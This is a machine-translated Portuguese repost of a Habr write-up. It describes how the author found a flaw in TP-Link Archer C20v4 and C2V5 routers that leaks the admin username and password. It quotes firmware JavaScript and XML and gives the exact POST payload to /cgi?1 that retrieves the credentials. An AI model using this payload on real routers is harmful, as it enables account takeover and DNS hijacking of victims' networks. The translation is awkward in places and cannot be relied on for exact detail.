Após o hack do tp-link

Hackear com falsificação de DNS é um método de ataque bastante comum. Principalmente por causa de sua simplicidade. A essência do ataque é alterar o endereço DNS nas configurações de rede da vítima para o endereço do servidor DNS do atacante, a fim de retornar o IP falso. E mais adiante, quem se importa muito - desde as páginas de phishing banais das redes sociais por roubar senhas até o suposto esboço de provedor com requisitos de pagamento.

A coisa mais interessante em tudo isso, penso nas maneiras pelas quais os robôs, de uma maneira ou de outra, entram nos roteadores. E hoje vou falar sobre um desses métodos.

O que temos:

  1. Novo roteador Archer c20v4, pronto para uso, com o firmware oficial mais recente.
  2. Endereço IP externo na interface WAN e acesso aberto à web.
  3. Uma senha é complexa o suficiente para não se preocupar com sua seleção e com um círculo limitado de pessoas que a conhecem.
  4. Depois de um dia: falsificação de DNS e todos os pedidos são agrupados em um esboço.

O que você precisa:
Descubra como acessar o dispositivo.

Primeiro de tudo, em um paciente de teste, todos os bugs antigos conhecidos encontrados no Google foram testados. Claro, nada funcionou.

Foi encontrado um script no github ( tyk ) que permite executar remotamente comandos nos modelos C20i e C2 a partir da raiz. Um pouco não é o que precisamos, mas defina a direção certa.

Todas as funções tinham o mesmo "shell" para solicitações - são solicitações POST para url / cgi? 2 (e 7), " [setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "e um referenciador especial.

Faça o download dos códigos-fonte do nosso firmware no site oficial tp-link e descompacte-o. Porque a linha de roteadores é a mesma, então o software deve ser pelo menos um pouco semelhante, certo?

grep
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true); 


Bingo O nome do arquivo sugere que será muito mais interessante. Encontramos no código uma linha na qual vimos o querido "cgi? 2". Abaixo está a função completa:

doSetUsrName
  function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); } 


Esta função, quando executada, chama outro - getUsrName ().

Função de login:

getUsrName
  function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); } 


Mas não faça nada com o login. Estamos interessados ​​em uma senha. Sabemos que o login é armazenado na variável adminName, dentro do objeto USER_CFG. Uma pesquisa na fonte deu os seguintes resultados: (Deixarei apenas o resultado desejado)

Saída Grep
 grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 


Abra extended_data_model.xml e encontre o seguinte fragmento de código:

XML
 <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg> 


Aqui nós armazenamos a variável já conhecida “AdminName” e ao lado dela - AdminPwd. Parece a verdade.

Agora, apenas precisamos formar a solicitação POST correta, à qual precisamos responder com os dados necessários ao roteador. Voltamos ao script do github e vemos como isso é feito lá:

dados
 data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" ) 


Por analogia, formamos nosso pedido:

dados
 "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n" 


IIIiii enviar. No Wireshark, o pacote fica assim:

pedido


Nós olhamos para a resposta:

a resposta


Um leitor atento notará que a solicitação POST foi enviada para "/ cgi? 1" e não como no script para "/ cgi? 2". Isso mesmo. Nós só precisamos descobrir a senha. Depois de receber os dados para autorização, você já pode se envolver em desgraça uniforme.

Faça login:

Solicitação GET


E já estamos autorizados a extrair dados que consideramos importantes apenas consultando o arquivo reduzido_dados_model.xml:

pedido


a resposta


pedido


a resposta


No momento, os códigos-fonte do roteador C20v4 foram removidos do site da Tp-Link e os códigos V5 foram publicados. Mas, infelizmente, ainda não há firmware oficial.

A boa notícia: Essa vulnerabilidade é explorada apenas se o acesso à web for aberto a todos.
A má notícia: os robôs de alguém já estão batendo em endereços externos com as solicitações corretas.

Além do modelo ArcherC20V4 , o modelo ArcherC2V5 também é afetado por esta vulnerabilidade .

Source: https://habr.com/ru/post/pt419071/


All Articles